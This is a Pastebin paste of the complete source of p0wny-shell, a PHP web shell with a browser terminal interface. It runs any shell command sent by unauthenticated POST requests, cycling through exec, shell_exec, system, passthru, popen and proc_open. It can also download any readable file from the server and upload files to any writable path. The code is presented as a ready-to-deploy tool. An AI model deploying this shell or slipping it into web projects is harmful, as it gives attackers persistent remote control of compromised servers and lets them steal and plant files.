willysec_id

p0wny PHP Terminal

Jul 10th, 2024
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 20.43 KB | Cybersecurity | 0 0
  1. <?php
  2.  
  3. $SHELL_CONFIG = array(
  4.     'username' => 'p0wny',
  5.     'hostname' => 'shell',
  6. );
  7.  
  8. function expandPath($path) {
  9.     if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
  10.         exec("echo $match[1]", $stdout);
  11.         return $stdout[0] . $match[2];
  12.     }
  13.     return $path;
  14. }
  15.  
  16. function allFunctionExist($list = array()) {
  17.     foreach ($list as $entry) {
  18.         if (!function_exists($entry)) {
  19.             return false;
  20.         }
  21.     }
  22.     return true;
  23. }
  24.  
  25. function executeCommand($cmd) {
  26.     $output = '';
  27.     if (function_exists('exec')) {
  28.         exec($cmd, $output);
  29.         $output = implode("\n", $output);
  30.     } else if (function_exists('shell_exec')) {
  31.         $output = shell_exec($cmd);
  32.     } else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
  33.         ob_start();
  34.         system($cmd);
  35.         $output = ob_get_contents();
  36.         ob_end_clean();
  37.     } else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
  38.         ob_start();
  39.         passthru($cmd);
  40.         $output = ob_get_contents();
  41.         ob_end_clean();
  42.     } else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose'))) {
  43.         $handle = popen($cmd, 'r');
  44.         while (!feof($handle)) {
  45.             $output .= fread($handle, 4096);
  46.         }
  47.         pclose($handle);
  48.     } else if (allFunctionExist(array('proc_open', 'stream_get_contents', 'proc_close'))) {
  49.         $handle = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w')), $pipes);
  50.         $output = stream_get_contents($pipes[1]);
  51.         proc_close($handle);
  52.     }
  53.     return $output;
  54. }
  55.  
  56. function isRunningWindows() {
  57.     return stripos(PHP_OS, "WIN") === 0;
  58. }
  59.  
  60. function featureShell($cmd, $cwd) {
  61.     $stdout = "";
  62.  
  63.     if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
  64.         chdir(expandPath("~"));
  65.     } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
  66.         chdir($cwd);
  67.         preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
  68.         chdir(expandPath($match[1]));
  69.     } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
  70.         chdir($cwd);
  71.         preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
  72.         return featureDownload($match[1]);
  73.     } else {
  74.         chdir($cwd);
  75.         $stdout = executeCommand($cmd);
  76.     }
  77.  
  78.     return array(
  79.         "stdout" => base64_encode($stdout),
  80.         "cwd" => base64_encode(getcwd())
  81.     );
  82. }
  83.  
  84. function featurePwd() {
  85.     return array("cwd" => base64_encode(getcwd()));
  86. }
  87.  
  88. function featureHint($fileName, $cwd, $type) {
  89.     chdir($cwd);
  90.     if ($type == 'cmd') {
  91.         $cmd = "compgen -c $fileName";
  92.     } else {
  93.         $cmd = "compgen -f $fileName";
  94.     }
  95.     $cmd = "/bin/bash -c \"$cmd\"";
  96.     $files = explode("\n", shell_exec($cmd));
  97.     foreach ($files as &$filename) {
  98.         $filename = base64_encode($filename);
  99.     }
  100.     return array(
  101.         'files' => $files,
  102.     );
  103. }
  104.  
  105. function featureDownload($filePath) {
  106.     $file = @file_get_contents($filePath);
  107.     if ($file === FALSE) {
  108.         return array(
  109.             'stdout' => base64_encode('File not found / no read permission.'),
  110.             'cwd' => base64_encode(getcwd())
  111.         );
  112.     } else {
  113.         return array(
  114.             'name' => base64_encode(basename($filePath)),
  115.             'file' => base64_encode($file)
  116.         );
  117.     }
  118. }
  119.  
  120. function featureUpload($path, $file, $cwd) {
  121.     chdir($cwd);
  122.     $f = @fopen($path, 'wb');
  123.     if ($f === FALSE) {
  124.         return array(
  125.             'stdout' => base64_encode('Invalid path / no write permission.'),
  126.             'cwd' => base64_encode(getcwd())
  127.         );
  128.     } else {
  129.         fwrite($f, base64_decode($file));
  130.         fclose($f);
  131.         return array(
  132.             'stdout' => base64_encode('Done.'),
  133.             'cwd' => base64_encode(getcwd())
  134.         );
  135.     }
  136. }
  137.  
  138. function initShellConfig() {
  139.     global $SHELL_CONFIG;
  140.  
  141.     if (isRunningWindows()) {
  142.         $username = getenv('USERNAME');
  143.         if ($username !== false) {
  144.             $SHELL_CONFIG['username'] = $username;
  145.         }
  146.     } else {
  147.         $pwuid = posix_getpwuid(posix_geteuid());
  148.         if ($pwuid !== false) {
  149.             $SHELL_CONFIG['username'] = $pwuid['name'];
  150.         }
  151.     }
  152.  
  153.     $hostname = gethostname();
  154.     if ($hostname !== false) {
  155.         $SHELL_CONFIG['hostname'] = $hostname;
  156.     }
  157. }
  158.  
  159. if (isset($_GET["feature"])) {
  160.  
  161.     $response = NULL;
  162.  
  163.     switch ($_GET["feature"]) {
  164.         case "shell":
  165.             $cmd = $_POST['cmd'];
  166.             if (!preg_match('/2>/', $cmd)) {
  167.                 $cmd .= ' 2>&1';
  168.             }
  169.             $response = featureShell($cmd, $_POST["cwd"]);
  170.             break;
  171.         case "pwd":
  172.             $response = featurePwd();
  173.             break;
  174.         case "hint":
  175.             $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
  176.             break;
  177.         case 'upload':
  178.             $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
  179.     }
  180.  
  181.     header("Content-Type: application/json");
  182.     echo json_encode($response);
  183.     die();
  184. } else {
  185.     initShellConfig();
  186. }
  187.  
  188. ?><!DOCTYPE html>
  189.  
  190. <html>
  191.  
  192.     <head>
  193.         <meta charset="UTF-8" />
  194.         <title>p0wny@shell:~#</title>
  195.         <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  196.         <style>
  197.             html, body {
  198.                 margin: 0;
  199.                 padding: 0;
  200.                 background: #333;
  201.                 color: #eee;
  202.                 font-family: monospace;
  203.                 width: 100vw;
  204.                 height: 100vh;
  205.                 overflow: hidden;
  206.             }
  207.  
  208.             *::-webkit-scrollbar-track {
  209.                 border-radius: 8px;
  210.                 background-color: #353535;
  211.             }
  212.  
  213.             *::-webkit-scrollbar {
  214.                 width: 8px;
  215.                 height: 8px;
  216.             }
  217.  
  218.             *::-webkit-scrollbar-thumb {
  219.                 border-radius: 8px;
  220.                 -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
  221.                 background-color: #bcbcbc;
  222.             }
  223.  
  224.             #shell {
  225.                 background: #222;
  226.                 box-shadow: 0 0 5px rgba(0, 0, 0, .3);
  227.                 font-size: 10pt;
  228.                 display: flex;
  229.                 flex-direction: column;
  230.                 align-items: stretch;
  231.                 max-width: calc(100vw - 2 * var(--shell-margin));
  232.                 max-height: calc(100vh - 2 * var(--shell-margin));
  233.                 resize: both;
  234.                 overflow: hidden;
  235.                 width: 100%;
  236.                 height: 100%;
  237.                 margin: var(--shell-margin) auto;
  238.             }
  239.  
  240.             #shell-content {
  241.                 overflow: auto;
  242.                 padding: 5px;
  243.                 white-space: pre-wrap;
  244.                 flex-grow: 1;
  245.             }
  246.  
  247.             #shell-logo {
  248.                 font-weight: bold;
  249.                 color: #FF4180;
  250.                 text-align: center;
  251.             }
  252.  
  253.             :root {
  254.                 --shell-margin: 25px;
  255.             }
  256.  
  257.             @media (min-width: 1200px) {
  258.                 :root {
  259.                     --shell-margin: 50px !important;
  260.                 }
  261.             }
  262.  
  263.             @media (max-width: 991px),
  264.                    (max-height: 600px) {
  265.                 #shell-logo {
  266.                     font-size: 6px;
  267.                     margin: -25px 0;
  268.                 }
  269.                 :root {
  270.                     --shell-margin: 0 !important;
  271.                 }
  272.                 #shell {
  273.                     resize: none;
  274.                 }
  275.             }
  276.  
  277.             @media (max-width: 767px) {
  278.                 #shell-input {
  279.                     flex-direction: column;
  280.                 }
  281.             }
  282.  
  283.             @media (max-width: 320px) {
  284.                 #shell-logo {
  285.                     font-size: 5px;
  286.                 }
  287.             }
  288.  
  289.             .shell-prompt {
  290.                 font-weight: bold;
  291.                 color: #75DF0B;
  292.             }
  293.  
  294.             .shell-prompt > span {
  295.                 color: #1BC9E7;
  296.             }
  297.  
  298.             #shell-input {
  299.                 display: flex;
  300.                 box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
  301.                 border-top: rgba(255, 255, 255, .05) solid 1px;
  302.                 padding: 10px 0;
  303.             }
  304.  
  305.             #shell-input > label {
  306.                 flex-grow: 0;
  307.                 display: block;
  308.                 padding: 0 5px;
  309.                 height: 30px;
  310.                 line-height: 30px;
  311.             }
  312.  
  313.             #shell-input #shell-cmd {
  314.                 height: 30px;
  315.                 line-height: 30px;
  316.                 border: none;
  317.                 background: transparent;
  318.                 color: #eee;
  319.                 font-family: monospace;
  320.                 font-size: 10pt;
  321.                 width: 100%;
  322.                 align-self: center;
  323.                 box-sizing: border-box;
  324.             }
  325.  
  326.             #shell-input div {
  327.                 flex-grow: 1;
  328.                 align-items: stretch;
  329.             }
  330.  
  331.             #shell-input input {
  332.                 outline: none;
  333.             }
  334.         </style>
  335.  
  336.         <script>
  337.             var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>;
  338.             var CWD = null;
  339.             var commandHistory = [];
  340.             var historyPosition = 0;
  341.             var eShellCmdInput = null;
  342.             var eShellContent = null;
  343.  
  344.             function _insertCommand(command) {
  345.                 eShellContent.innerHTML += "\n\n";
  346.                 eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
  347.                 eShellContent.innerHTML += escapeHtml(command);
  348.                 eShellContent.innerHTML += "\n";
  349.                 eShellContent.scrollTop = eShellContent.scrollHeight;
  350.             }
  351.  
  352.             function _insertStdout(stdout) {
  353.                 eShellContent.innerHTML += escapeHtml(stdout);
  354.                 eShellContent.scrollTop = eShellContent.scrollHeight;
  355.             }
  356.  
  357.             function _defer(callback) {
  358.                 setTimeout(callback, 0);
  359.             }
  360.  
  361.             function featureShell(command) {
  362.  
  363.                 _insertCommand(command);
  364.                 if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
  365.                     featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
  366.                 } else if (/^\s*clear\s*$/.test(command)) {
  367.                     // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
  368.                     eShellContent.innerHTML = '';
  369.                 } else {
  370.                     makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
  371.                         if (response.hasOwnProperty('file')) {
  372.                             featureDownload(atob(response.name), response.file)
  373.                         } else {
  374.                             _insertStdout(atob(response.stdout));
  375.                             updateCwd(atob(response.cwd));
  376.                         }
  377.                     });
  378.                 }
  379.             }
  380.  
  381.             function featureHint() {
  382.                 if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete
  383.  
  384.                 function _requestCallback(data) {
  385.                     if (data.files.length <= 1) return;  // no completion
  386.                     data.files = data.files.map(function(file){
  387.                         return atob(file);
  388.                     });
  389.                     if (data.files.length === 2) {
  390.                         if (type === 'cmd') {
  391.                             eShellCmdInput.value = data.files[0];
  392.                         } else {
  393.                             var currentValue = eShellCmdInput.value;
  394.                             eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
  395.                         }
  396.                     } else {
  397.                         _insertCommand(eShellCmdInput.value);
  398.                         _insertStdout(data.files.join("\n"));
  399.                     }
  400.                 }
  401.  
  402.                 var currentCmd = eShellCmdInput.value.split(" ");
  403.                 var type = (currentCmd.length === 1) ? "cmd" : "file";
  404.                 var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
  405.  
  406.                 makeRequest(
  407.                     "?feature=hint",
  408.                     {
  409.                         filename: fileName,
  410.                         cwd: CWD,
  411.                         type: type
  412.                     },
  413.                     _requestCallback
  414.                 );
  415.  
  416.             }
  417.  
  418.             function featureDownload(name, file) {
  419.                 var element = document.createElement('a');
  420.                 element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
  421.                 element.setAttribute('download', name);
  422.                 element.style.display = 'none';
  423.                 document.body.appendChild(element);
  424.                 element.click();
  425.                 document.body.removeChild(element);
  426.                 _insertStdout('Done.');
  427.             }
  428.  
  429.             function featureUpload(path) {
  430.                 var element = document.createElement('input');
  431.                 element.setAttribute('type', 'file');
  432.                 element.style.display = 'none';
  433.                 document.body.appendChild(element);
  434.                 element.addEventListener('change', function () {
  435.                     var promise = getBase64(element.files[0]);
  436.                     promise.then(function (file) {
  437.                         makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
  438.                             _insertStdout(atob(response.stdout));
  439.                             updateCwd(atob(response.cwd));
  440.                         });
  441.                     }, function () {
  442.                         _insertStdout('An unknown client-side error occurred.');
  443.                     });
  444.                 });
  445.                 element.click();
  446.                 document.body.removeChild(element);
  447.             }
  448.  
  449.             function getBase64(file, onLoadCallback) {
  450.                 return new Promise(function(resolve, reject) {
  451.                     var reader = new FileReader();
  452.                     reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
  453.                     reader.onerror = reject;
  454.                     reader.readAsDataURL(file);
  455.                 });
  456.             }
  457.  
  458.             function genPrompt(cwd) {
  459.                 cwd = cwd || "~";
  460.                 var shortCwd = cwd;
  461.                 if (cwd.split("/").length > 3) {
  462.                     var splittedCwd = cwd.split("/");
  463.                     shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
  464.                 }
  465.                 return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
  466.             }
  467.  
  468.             function updateCwd(cwd) {
  469.                 if (cwd) {
  470.                     CWD = cwd;
  471.                     _updatePrompt();
  472.                     return;
  473.                 }
  474.                 makeRequest("?feature=pwd", {}, function(response) {
  475.                     CWD = atob(response.cwd);
  476.                     _updatePrompt();
  477.                 });
  478.  
  479.             }
  480.  
  481.             function escapeHtml(string) {
  482.                 return string
  483.                     .replace(/&/g, "&amp;")
  484.                     .replace(/</g, "&lt;")
  485.                     .replace(/>/g, "&gt;");
  486.             }
  487.  
  488.             function _updatePrompt() {
  489.                 var eShellPrompt = document.getElementById("shell-prompt");
  490.                 eShellPrompt.innerHTML = genPrompt(CWD);
  491.             }
  492.  
  493.             function _onShellCmdKeyDown(event) {
  494.                 switch (event.key) {
  495.                     case "Enter":
  496.                         featureShell(eShellCmdInput.value);
  497.                         insertToHistory(eShellCmdInput.value);
  498.                         eShellCmdInput.value = "";
  499.                         break;
  500.                     case "ArrowUp":
  501.                         if (historyPosition > 0) {
  502.                             historyPosition--;
  503.                             eShellCmdInput.blur();
  504.                             eShellCmdInput.value = commandHistory[historyPosition];
  505.                             _defer(function() {
  506.                                 eShellCmdInput.focus();
  507.                             });
  508.                         }
  509.                         break;
  510.                     case "ArrowDown":
  511.                         if (historyPosition >= commandHistory.length) {
  512.                             break;
  513.                         }
  514.                         historyPosition++;
  515.                         if (historyPosition === commandHistory.length) {
  516.                             eShellCmdInput.value = "";
  517.                         } else {
  518.                             eShellCmdInput.blur();
  519.                             eShellCmdInput.focus();
  520.                             eShellCmdInput.value = commandHistory[historyPosition];
  521.                         }
  522.                         break;
  523.                     case 'Tab':
  524.                         event.preventDefault();
  525.                         featureHint();
  526.                         break;
  527.                 }
  528.             }
  529.  
  530.             function insertToHistory(cmd) {
  531.                 commandHistory.push(cmd);
  532.                 historyPosition = commandHistory.length;
  533.             }
  534.  
  535.             function makeRequest(url, params, callback) {
  536.                 function getQueryString() {
  537.                     var a = [];
  538.                     for (var key in params) {
  539.                         if (params.hasOwnProperty(key)) {
  540.                             a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
  541.                         }
  542.                     }
  543.                     return a.join("&");
  544.                 }
  545.                 var xhr = new XMLHttpRequest();
  546.                 xhr.open("POST", url, true);
  547.                 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  548.                 xhr.onreadystatechange = function() {
  549.                     if (xhr.readyState === 4 && xhr.status === 200) {
  550.                         try {
  551.                             var responseJson = JSON.parse(xhr.responseText);
  552.                             callback(responseJson);
  553.                         } catch (error) {
  554.                             alert("Error while parsing response: " + error);
  555.                         }
  556.                     }
  557.                 };
  558.                 xhr.send(getQueryString());
  559.             }
  560.  
  561.             document.onclick = function(event) {
  562.                 event = event || window.event;
  563.                 var selection = window.getSelection();
  564.                 var target = event.target || event.srcElement;
  565.  
  566.                 if (target.tagName === "SELECT") {
  567.                     return;
  568.                 }
  569.  
  570.                 if (!selection.toString()) {
  571.                     eShellCmdInput.focus();
  572.                 }
  573.             };
  574.  
  575.             window.onload = function() {
  576.                 eShellCmdInput = document.getElementById("shell-cmd");
  577.                 eShellContent = document.getElementById("shell-content");
  578.                 updateCwd();
  579.                 eShellCmdInput.focus();
  580.             };
  581.         </script>
  582.     </head>
  583.  
  584.     <body>
  585.         <div id="shell">
  586.             <pre id="shell-content">
  587.                 <div id="shell-logo">
  588.         ___                         ____      _          _ _        _  _   <span></span>
  589.  _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
  590. | '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
  591. | |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
  592. | .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
  593. |_|                         |___/  \____/                                  <span></span>
  594.                 </div>
  595.             </pre>
  596.             <div id="shell-input">
  597.                 <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
  598.                 <div>
  599.                     <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
  600.                 </div>
  601.             </div>
  602.         </div>
  603.     </body>
  604.  
  605. </html>
Add Comment
Please, Sign In to add comment